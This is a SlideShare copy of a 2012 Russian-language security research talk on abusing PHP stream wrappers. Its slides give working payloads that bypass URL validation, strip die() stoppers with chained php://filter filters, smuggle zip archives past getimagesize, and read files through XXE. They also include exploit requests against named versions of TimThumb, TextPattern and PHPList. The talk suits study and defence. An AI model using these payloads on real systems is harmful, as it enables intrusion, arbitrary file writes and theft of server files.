Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.
PHP Wrappers




                  Алексей Москвин
               Positive Technologies
                           May 2012
Потоки

   Streams
Чтение данных.

     Wrappers

$handle = fopen($file, "rb");
while (!feof($handle))
 {
  $contents .= fread($handle, 8192)...
Запись данных.

    Чтение файлов.

copy ('/etc/passwd' , 'php://output');

file_put_contents(„php://output', file_get_con...
Wrapper zip://


     Требования: PHP скомпилирован с поддержкой zip.

     Обертку zip:// можно использовать при allow_ur...
Замена NULL байта.

 $s = $_POST[„path‟];
 include $s.‟/header.html‟;



     Использование врапперов: http:// ftp:// data...
Wrapper data:// (RFC 2397)




    Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис:

   dataurl   ...
Trick: function stream_get_meta_data




Манипулирование элементами массива, возвращаемого stream_get_meta_data

 $passwor...
Враппер compress.zlib://



применение compress.zlib://, не изменяет содержимое обычных файлов

readfile('compress.zlib://...
Any Data in parse_url


    Функция parse_url, может обрабатывать не только URL, но и строки
довольно общего вида.

$url_i...
Bypass preg_match validate


      Обход фильтра на основе preg_match

POST DATA: src=data://text/plain;charset=http://w?p...
Загрузка произвольных файлов в TimThumb

     TimThumb – популярный скрипт для ресайза изображений.
Public Exploit for v 1...
Манипуляции с файлами в TimThumb v1.35

Требования: Функция curl_init отключена на атакуемом сервере.

…………………
       if (...
Скрытый потенциал враппера php://filter

      php://filter – позволяет применять фильтры к потоку во время открытия.

Обр...
Алгоритм Base64: кодирование

    Алгоритм Base64 описан в RFC 2045 раздел 6.8.

    Алфавит Base64:
ABCDEFGHIJKLMNOPQRSTU...
Алгоритм Base64: декодирование.

    При декодировании, во входящей строке символы не из алфавита
Base64 игнорируются.
   ...
Пример "выдавливания" стопера.

     Применяя base64_decode к строке несколько раз, можно удалить часть
данных.

$content ...
Фильтр string.strip_tags

      Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags


 $content = ";...
TextPattern: Upload Arbitrary Files (I)




      Данные об авторах комментариев сохраняются в файл с расширением .php


 ...
TextPattern: Upload Arbitrary Files (I)
Обход проверки getimagesize (I)
  С помощью фильтров можно удалять не только “стоперы”, например можно
модифицировать соде...
Обход проверки getimagesize (II)

extract($_REQUEST);
…..
include $templatedir.'/header.html';
.....
if (!empty($_FILES) )...
Файлы с произвольным содержимым




 Создание файлов с произвольным содержимым дает возможность:

    создать файл сессии ...
parse_ini_file atack

      Функция parse_ini_file обрабатывает только локальные файлы.

session_start();
$_SESSION['admin...
XXE Atack


     Чтение файлов за счет внедрения внешней сущности в XML.


<?xml version='1.0'?>
<!DOCTYPE scan
 [
   <!EN...
Частичное чтение файлов в PHPList <= 2.10.13 (I)

      Причиной уязвимости, является возможность изменять структуру масси...
Частичное чтение файлов в PHPList <= 2.10.13 (II)
Ограничения использования врапперов.




    При установленном Suhosin-е, по умолчанию невозможно использовать
врапперы в ...
Спасибо за внимание!

     Вопросы?
Upcoming SlideShare
Loading in …5
×

of

О безопасном использовании PHP wrappers Slide 1 О безопасном использовании PHP wrappers Slide 2 О безопасном использовании PHP wrappers Slide 3 О безопасном использовании PHP wrappers Slide 4 О безопасном использовании PHP wrappers Slide 5 О безопасном использовании PHP wrappers Slide 6 О безопасном использовании PHP wrappers Slide 7 О безопасном использовании PHP wrappers Slide 8 О безопасном использовании PHP wrappers Slide 9 О безопасном использовании PHP wrappers Slide 10 О безопасном использовании PHP wrappers Slide 11 О безопасном использовании PHP wrappers Slide 12 О безопасном использовании PHP wrappers Slide 13 О безопасном использовании PHP wrappers Slide 14 О безопасном использовании PHP wrappers Slide 15 О безопасном использовании PHP wrappers Slide 16 О безопасном использовании PHP wrappers Slide 17 О безопасном использовании PHP wrappers Slide 18 О безопасном использовании PHP wrappers Slide 19 О безопасном использовании PHP wrappers Slide 20 О безопасном использовании PHP wrappers Slide 21 О безопасном использовании PHP wrappers Slide 22 О безопасном использовании PHP wrappers Slide 23 О безопасном использовании PHP wrappers Slide 24 О безопасном использовании PHP wrappers Slide 25 О безопасном использовании PHP wrappers Slide 26 О безопасном использовании PHP wrappers Slide 27 О безопасном использовании PHP wrappers Slide 28 О безопасном использовании PHP wrappers Slide 29
Upcoming SlideShare
Статистика по результатам тестирований на проникновение и анализа защищенности веб-приложений 2011-2012
Next
Download to read offline and view in fullscreen.

1 Like

Share

Download to read offline

О безопасном использовании PHP wrappers

Download to read offline

Related Books

Free with a 30 day trial from Scribd

See all

Related Audiobooks

Free with a 30 day trial from Scribd

See all

О безопасном использовании PHP wrappers

  1. 1. PHP Wrappers Алексей Москвин Positive Technologies May 2012
  2. 2. Потоки Streams
  3. 3. Чтение данных. Wrappers $handle = fopen($file, "rb"); while (!feof($handle)) { $contents .= fread($handle, 8192); } fclose($handle); Можно получать данные, не только из локальных файлов! $file = 'ftp://user:password@10.0.0.1/pub/file.txt'; $file = „http://127.0.0.1/server-status‟; $file = „php://fd/XXX‟; $file = „expect://ls‟;
  4. 4. Запись данных. Чтение файлов. copy ('/etc/passwd' , 'php://output'); file_put_contents(„php://output', file_get_contents('/etc/hosts')); Преобразовываем файл, перед записью на диск. move_uploaded_file($_FILES[“attach”]["tmp_name"], “php://filter/string.rot13/resource=./upload/user_attach”); Записываем данные в Apache error_log (PHP >= 5.3.6) error_log („Bypass root perm!‟, 3, „php://fd/2‟);
  5. 5. Wrapper zip:// Требования: PHP скомпилирован с поддержкой zip. Обертку zip:// можно использовать при allow_url_fopen = Off. Враппер zip://, позволяет получить доступ к файлам внутри архива, имя архива может быть произвольным. $zip = new ZipArchive; if ($zip->open('/tmp/any_name_zip_arxiv',1) ) { $zip->addFromString( '/my/header.html', '<?php print_r(ini_get_all());„ ); } $zip->close(); print file_get_contents('zip:///tmp/any_name_zip_arxiv#/my/header.html');
  6. 6. Замена NULL байта. $s = $_POST[„path‟]; include $s.‟/header.html‟; Использование врапперов: http:// ftp:// data:// ограничивается директивой allow_url_include. Использование NULL байта, при инклюде локальных файлов, ограничивается директивой magic_quotes_gpc. Если есть возможность создать zip-архив, можно использовать обертку zip:// path=zip:///tmp/any_name_zip_arxiv#/my Этот подход даст результат при allow_url_fopen=Off и при magic_quotes_gpc = On Имя архива может быть произвольным, это дает возможность использовать временные файлы, которые создаются, при загрузке контента. Путь до временного файла можно узнать из phpinfo(): https://rdot.org/forum/showthread.php?t=1134
  7. 7. Wrapper data:// (RFC 2397) Согласно RFC 2379 обертка data:// допускает более развернутый синтаксис: dataurl := "data:" [ mediatype ] [ ";base64" ] "," data mediatype := [ type "/" subtype ] *( ";" parameter ) data := *urlchar parameter := attribute "=" value Особенность враппера: mediatype может либо полностью отсутствовать, либо быть заполнен произвольными значениями: data://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64
  8. 8. Trick: function stream_get_meta_data Манипулирование элементами массива, возвращаемого stream_get_meta_data $password = 'secret'; $file = $_POST['file']; $fp = fopen( $file, 'r'); extract(stream_get_meta_data($fp)); if ( $mediatype === 'text/plain') { ... } if ( $_COOKIE['admin'] === $password) { ... } Перезаписываем переменную $password POST DATA: file=data://text/plain;password=mysecret;base64, Обходим авторизацию: Cookie: admin=mysecret
  9. 9. Враппер compress.zlib:// применение compress.zlib://, не изменяет содержимое обычных файлов readfile('compress.zlib:///etc/hosts'); в пути до локального файла, могут быть указаны, не существующие каталоги $url = 'compress.zlib:///http://../etc/hosts'; if (preg_match('/http:///', $url) == true) { echo "Yes!"; }
  10. 10. Any Data in parse_url Функция parse_url, может обрабатывать не только URL, но и строки довольно общего вида. $url_info = parse_url($_POST[„src‟]); if ($url_info['host'] === 'img.youtube.com') { $name = str_replace('/', '', substr($url_info['path'], 4)); copy( $src, './'.$name ); } Загрузка изображений с img.youtube.com: POST DATA: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg Обход проверки на имя хоста, и создание произвольных файлов: POST DATA: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo Копирование локальных файлов: POST DATA: src=compress.zlib://img.youtube.com/../path/to/local/file;
  11. 11. Bypass preg_match validate Обход фильтра на основе preg_match POST DATA: src=data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo POST DATA: src=compress.zlib://youtube.com/../http://?/../../path/to/local/file function validate_url ($url) { $pattern = "/b(?:(?:https?)://|www.)[-a-z0-9+&@#/%?=~_|!:,.;]*[-a-z0-9+&@#/%=~_|]/i"; return preg_match ($pattern, $url); } $src = $_POST['src']; if (!validate_url ($src)) display_error ('invalid url');
  12. 12. Загрузка произвольных файлов в TimThumb TimThumb – популярный скрипт для ресайза изображений. Public Exploit for v 1.32 (08/2011): http://www.exploit-db.com/exploits/17602 New Wrappers Exploit for v1.34 (revision 145) function check_external ($src) { ………………… if (!validate_url ($src)) display_error ('invalid url'); $url_info = parse_url ($src); ................... if ($url_info['host'] == 'www.youtube.com' || …) parse_str($url_info['query']); .................. $fh = fopen($local_filepath, „w‟); $ch = curl_init($src); ………………….. $files_infos = getimagesize ($local_filepath); if (empty($file_infos[„mime‟]) || …..) unlink($local_filepath); ……………………………… http://www.youtube.com/?local_filepath=php://filter/resource%3D./path/to/.php &url_info[host]=img.youtube.com&src=http://mysite.com/thumb.txt
  13. 13. Манипуляции с файлами в TimThumb v1.35 Требования: Функция curl_init отключена на атакуемом сервере. ………………… if (!$img = file_get_contents ($src)) { display_error ('error....'); } if (file_put_contents ($local_filepath, $img) == FALSE) { display_error ('error.....'); } ………………… Создание файлов с произвольным содержимым: data://img.youtube.com/e;charset=http://w?&var=;base64,SSBsb3ZIIFBIUAo «Чтение» локальных файлов: compress.zlib://youtube.com/../http://?/../../path/to/local/file
  14. 14. Скрытый потенциал враппера php://filter php://filter – позволяет применять фильтры к потоку во время открытия. Обрабатываем содержимое файла фильтрами: readfile('php://filter/read=string.toupper|anyfilter|string.rot13/resource=./file.php'); Использование неопределенного фильтра, не влияет на обработку данных другими фильтрами. Фильтры convert.base64-decode и string.strip_tags могут удалить часть данных из потока. В 2009 году Стефан Эссер использовал особенность фильтра convert.base64-decode в эксплойте для Piwik: http://sektioneins.de/en/advisories/advisory-032009-piwik-cookie-unserialize-vulnerability С 2009 года остались не раскрыты два важных вопроса: Каким образом уничтожать «ненужные» данные? Какие возможности дает применения фильтров?
  15. 15. Алгоритм Base64: кодирование Алгоритм Base64 описан в RFC 2045 раздел 6.8. Алфавит Base64: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
  16. 16. Алгоритм Base64: декодирование. При декодировании, во входящей строке символы не из алфавита Base64 игнорируются. Входящая строка разбивается на части по 4 символа, каждая часть обрабатывается отдельно.
  17. 17. Пример "выдавливания" стопера. Применяя base64_decode к строке несколько раз, можно удалить часть данных. $content = "; <? die; ?>n"; $content .= "[/Ly8vVTFOQ1RXSXpXbXhKUmtKSlZVRTlQUT09]n"; $file = 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode /resource=./PoC'; file_put_contents($file, $content); “Заглушка”: /Ly8v ( base64_decode('Ly8v') == '///‟ ) Фильтр convert.base64-decode не обрабатывает строки содержащие в середине знаки равенства. $s = 'php://filter/read=convert.base64-decode/resource=data:,dGVzdA==CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  18. 18. Фильтр string.strip_tags Процесс "выдавливания" можно ускорить с помощью фильтра string.strip_tags $content = "; <? die; ?>n"; $content .= "=3C=3Fprint('PHP');n"; $file = 'php://filter/write=string.strip_tags|convert.quoted-printable-decode/resource=./PoC'; $quoted_printable_lt = $content); file_put_contents($file, '='.strtoupper(dechex(ord('<'))); // =3C Фильтр convert.quoted-printable-decode, обрабатывает строку посимвольно. Символы в формате Quoted-Printable ( RFC2045 раздел 6.7 ), преобразуются в символы 8 битной кодовой таблицы. Преобразование в формат Quoted-Printable. $quoted_printable_lt = '='.strtoupper(dechex(ord('<'))); Фильтр convert.quoted-printable-decode, не даст ожидаемого результата, если в строке содержится знак равенства, после которого нет шестнацетиричного кода символа. $s = 'php://filter/read=convert.quoted-printable-decode/resource=data:,dGVz=CRAP'; var_dump(file_get_contents($s)); // print: string(0) ""
  19. 19. TextPattern: Upload Arbitrary Files (I) Данные об авторах комментариев сохраняются в файл с расширением .php $file = $prefs['tempdir'].DS.'evaluator_trace.php'; if (!file_exists($file)) { $fp = fopen($file, 'wb'); if ($fp) fwrite($fp, "<?php return; ?>n". "This trace-file tracks saved comments. (created ". Пп safe_strftime($prefs['archive_dateformat'],time()).")n". "Format is: Type; Probability; Message “ . “(Type can be -1 => spam, 0 => moderate, 1 => visible)nn");
  20. 20. TextPattern: Upload Arbitrary Files (I)
  21. 21. Обход проверки getimagesize (I) С помощью фильтров можно удалять не только “стоперы”, например можно модифицировать содержимое изображения, после того как оно прошло проверку на основе функции getimagesize. Если в EXIF изображения внедрить данные
  22. 22. Обход проверки getimagesize (II) extract($_REQUEST); ….. include $templatedir.'/header.html'; ..... if (!empty($_FILES) ) { $file_info = getimagesize($_FILES['image']['tmp_name']); if($file_info['mime'] == 'image/jpeg') { if ( move_uploaded_file( $_FILES['image']['tmp_name'], $folder.'/avatar.jpg') ) ...... Загружаем изображение, но на сервере сохраняется zip-архив, содержащий файл /my/header.html folder=php://filter/write=string.strip_tags|convert.base64-decode/resource=/tmp/ Инклюдим файл внутри zip-архива templatedir=zip:///tmp/avatar.jpg#/my
  23. 23. Файлы с произвольным содержимым Создание файлов с произвольным содержимым дает возможность: создать файл сессии и реализовать unserialize bug через session_start() создать zip архив и проэксплуатировать RFI cоздать/перезаписать файлы htaccess/htpasswd создать или перезапись шаблоны.
  24. 24. parse_ini_file atack Функция parse_ini_file обрабатывает только локальные файлы. session_start(); $_SESSION['admin'] = $_POST['name']; ....... $var = parse_ini_file($inifile); require $var['require']; Создаем файл сессии /tmp/sess_dffdsdf24gssdgsd90 admin|s:68:"Ly8vVnpOYWFHTnNNRXRqYlZaNFpGZHNlVnBVTUdsTU1sWXdXWGs1YjJJelRqQmplVWs5" Используя фильтры преобразуем файл сессии в формат, доступный функции parse_ini_file php://filter/read=convert.base64-decode|convert.base64-decode| convert.base64-decode/resource= /tmp/sess_dffdsdf24gssdgsd90
  25. 25. XXE Atack Чтение файлов за счет внедрения внешней сущности в XML. <?xml version='1.0'?> <!DOCTYPE scan [ <!ENTITY test SYSTEM "php://filter/read=convert.base64- encode/resource=http://127.0.0.1/server-status"> ]> <scan>&test;</scan> Функция simplexml_load_file и метод DOMDocument::load поддерживают врапперы.
  26. 26. Частичное чтение файлов в PHPList <= 2.10.13 (I) Причиной уязвимости, является возможность изменять структуру массива $_FILES http://isisblogs.poly.edu/2011/08/11/php-not-properly-checking-params/ if (is_array($_FILES)) { ## only avatars are files foreach ($_FILES['attribute']['name'] as $key => $val) { if (!empty($_FILES['attribute']['name'][$key])) { $tmpnam = $_FILES['attribute']['tmp_name'][$key]; $size = $_FILES['attribute']['size'][$key]; if ($size < MAX_AVATAR_SIZE) { $avatar = file_get_contents($tmpnam); Sql_Query(sprintf('replace into %s (userid,attributeid,value) values(%d,%d,"%s")',$tables["user_attribute"],$id,$key,base64_encode($avatar))); С помощью следующей HTML формы возможно загружать файлы в базу данных. <form action="http://localhost/lists/admin/?page=user&id=1" method="POST” enctype="multipart/form-data" > <input type="file" name="attribute[tmp_name]["> <input type="file" name="attribute[size]["> <input type="file" name="attribute[[tmp_name]"> <input type="file" name="attribute[name]["> <input name="change" value="Save Changes" type="submit"> </form>
  27. 27. Частичное чтение файлов в PHPList <= 2.10.13 (II)
  28. 28. Ограничения использования врапперов. При установленном Suhosin-е, по умолчанию невозможно использовать врапперы в инклюдах. (даже при allow_url_include = On). Например, обертка zip:// становиться доступной, только после добавления в whitelist: suhosin.executor.include.whitelist = “zip” Функции file_exists, is_file, filesize возвращают FALSE, если в качестве имени файла используются врапперы: php://filter, zip://, data://.
  29. 29. Спасибо за внимание! Вопросы?
  • YuriyIshchenko

    Jan. 31, 2013

Views

Total views

10,056

On Slideshare

0

From embeds

0

Number of embeds

299

Actions

Downloads

43

Shares

0

Comments

0

Likes

1

×